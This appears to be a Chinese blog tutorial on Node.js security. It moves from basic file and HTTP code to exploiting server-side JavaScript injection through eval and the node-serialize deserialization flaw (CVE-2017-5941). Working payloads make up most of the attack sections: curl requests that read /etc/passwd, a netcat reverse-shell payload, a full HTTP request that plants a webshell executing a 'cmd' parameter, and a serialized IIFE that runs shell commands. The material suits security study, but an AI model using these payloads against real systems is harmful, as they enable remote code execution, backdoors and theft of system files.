0x01 简介
什么是nodejs,it's javascript webserver!
JS是脚本语言,脚本语言都需要一个解析器才能运行。对于写在HTML页面里的JS,浏览器充当了解析器的角色。而对于需要独立运行的JS,NodeJS就是一个解析器。
每一种解析器都是一个运行环境,不但允许JS定义各种数据结构,进行各种计算,还允许JS使用运行环境提供的内置对象和方法做一些事情。例如运行在浏览器中的JS的用途是操作DOM,浏览器就提供了document
之类的内置对象。而运行在NodeJS中的JS的用途是操作磁盘文件或搭建HTTP服务器,NodeJS就相应提供了fs
、http
等内置对象。
0x02 测试
文件操作
NodeJS提供了基本的文件操作API,但是像文件拷贝这种高级功能就没有提供,因此我们先拿文件拷贝程序练手。与copy
命令类似,我们的程序需要能接受源文件路径与目标文件路径两个参数。
文件拷贝
我们使用NodeJS内置的fs
模块简单实现这个程序如下。
var fs = require('fs');
function copy(src, dst) {
fs.writeFileSync(dst, fs.readFileSync(src));
}
function main(argv) {
copy(argv[0], argv[1]);
}
main(process.argv.slice(2));
这里说一下,即使脚本的后缀不是以js结尾的,也是可以顺利执行的。
网络操作
不了解网络编程的程序员不是好前端,而NodeJS恰好提供了一扇了解网络编程的窗口。通过NodeJS,除了可以编写一些服务端程序来协助前端开发和测试外,还能够学习一些HTTP协议与Socket协议的相关知识。
NodeJS本来的用途是编写高性能Web服务器。我们首先在这里重复一下官方文档里的例子,使用NodeJS内置的http
模块简单实现一个HTTP服务器。
var http = require('http'); http.createServer(function (request, response) { response.writeHead(200, { 'Content-Type': 'text-plain' }); response.end('Hello World\n'); }).listen(8124);
除了可以构建http服务器之外,还可以用作客户端发送http请求,like this
var options = { hostname: 'www.example.com', port: 80, path: '/upload', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' } }; var request = http.request(options, function (response) {}); request.write('Hello World'); request.end();
请求头和请求体都可以定制。
除文件操作和网络操作之外还有进程管理和异步编程等就不具体描述了,详细的可以查看官方api文档。
有了web服务端开发语言,那么像php语言一样有一些著名的框架(laravel,CodeIgniter,thinkphp)一样,Nodejs也有比较流行的框架,是Express。
express的安装 npm install express --save
0x03 ssjs 服务端javascript代码注入
漏洞代码如下:
/** * NodeBleed Original Bug: https://github.com/nodejs/node/issues/4660 * PoC: $ node nodejs-ssjs-nodebleed.js * "Attack": * - Direct Eval: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))" * - JSON Abuse: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":"1000",\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}" * - NodeBleed: $ curl http://localhost:8080/ -X POST -H "Content-Type: application/json" --data "{\"str\":1000,\"injection\":\"\"}" | hexdump -C * * Insecure evals Payloads: * - --data "{\"str\": \"1000\",\"injection\":\"require('child_process').exec('netcat -e /bin/sh IP 9999')\"}" ($ netcat -l -p 9999) * - --data "{\"str\": 10000,\"injection\":\"require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'})\"}" * All Node.js version (5.5.0 and 4.2.6) are vulnerable at the moment. * $ nvm ls-remote (Play with different versions) * @SiMpS0N - Fev/2016 */ var http = require('http'); var server = http.createServer(function(req, res) { console.log("### 0xOPOSEC Demos ###") var data = '' var injection = '' req.setEncoding('utf8') req.on('data', function(chunk) { data += chunk }) console.log(data) req.on('end', function() { /*Convert a JSON text into an object * Tradional way (Not Secure): * var body = eval("("+data+")") * Attack: "res.end(require('fs').readFileSync('/etc/passwd', {encoding:'UTF-8'}))" */ //var body = eval("("+data+")") /* * Correct way: */ var body = JSON.parse(data) //SSJS Injection (eval JS code) console.log("##SSJS Injection") console.log("Payload: "+body.injection+"\n") injection = eval(body.injection) //NodeBleed (new Buffer(int)->MemoryDisclosure) console.log("##NodeBleed") console.log("Disclosure Bytes: "+body.str) res.end(new Buffer(body.str) + "\n" + injection) }) }) server.listen(8080)
简单分析一下,服务器端监听8080端口,对接收到post的json数据处理,其中injection字段的值进行了eval代码执行,那么payload构造起来就很简单,我们可以通过fs模块的readFileSync()函数去读比如 /etc/passwd 文件,如下图所示:
那创建一个无文件的小马如何?
POST / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:53.0) Gecko/20100101 Firefox/53.0 Host: 192.168.199.182:8080 Accept: */* Content-Type: application/json Content-Length: 301 {"str":1000,"injection":"setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {\"Content-Type\": \"text/plain\"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)"}
如上,我们是开启了一个8000端口的监听,并对传入的cmd参数进行命令执行,这样就达到了一个小马的效果。
0x04 反序列化漏洞
nodejs的node-serialize 模块曾经爆出过一个漏洞CVE-2017-5941可以参考https://www.exploit-db.com/docs/41289.pdf,该模块的源码在这里https://github.com/luin/serialize(好奇的是漏洞出了这么久,但是作者并没有去修复。。只是发了一个security warning。。)
这里简单介绍和复现一下:
注意,如果想要全局中使用这个node-serialize模块就要使用 -g的参数(npm全局安装和本地安装 http://www.cnblogs.com/chyingp/p/npm-install-difference-between-local-global.html),而且参考文章中版本也是0.0.4,也正好就是存在漏洞的版本。
生成payload的方式如下:
var y = { rce : function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }, } var serialize = require('node-serialize'); console.log("Serialized: \n" + serialize.serialize(y));
Serialized:
{"rce":"_$$ND_FUNC$$_function (){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}
但是生成的payload要修改才能够调用执行
{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { console.log(stdout) });}()"} 需要在整个function后面加(),「立即执行函数表达式」(Immediately-Invoked Function Expression,以下简称IIFE)参考:http://weizhifeng.net/immediately-invoked-function-expression.html
反序列化恶意payload,就执行了ls / 的命令,效果如下图所示
0x05 Refererence
1.https://nqdeng.github.io/7-days-nodejs/
2.http://www.runoob.com/nodejs/nodejs-express-framework.html
3.https://www.youtube.com/watch?v=puyOlZBudNI
4.http://expressjs.com/
5.慕课网nodejs学习 http://www.imooc.com/learn/348
6.http://www.kanxue.com/?article-read-1108.htm=&hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io
7.https://s1gnalcha0s.github.io/node/2015/01/31/SSJS-webshell-injection.html
8.http://paper.seebug.org/213/
9.https://bbs.ichunqiu.com/thread-24807-1-1.html?from=beef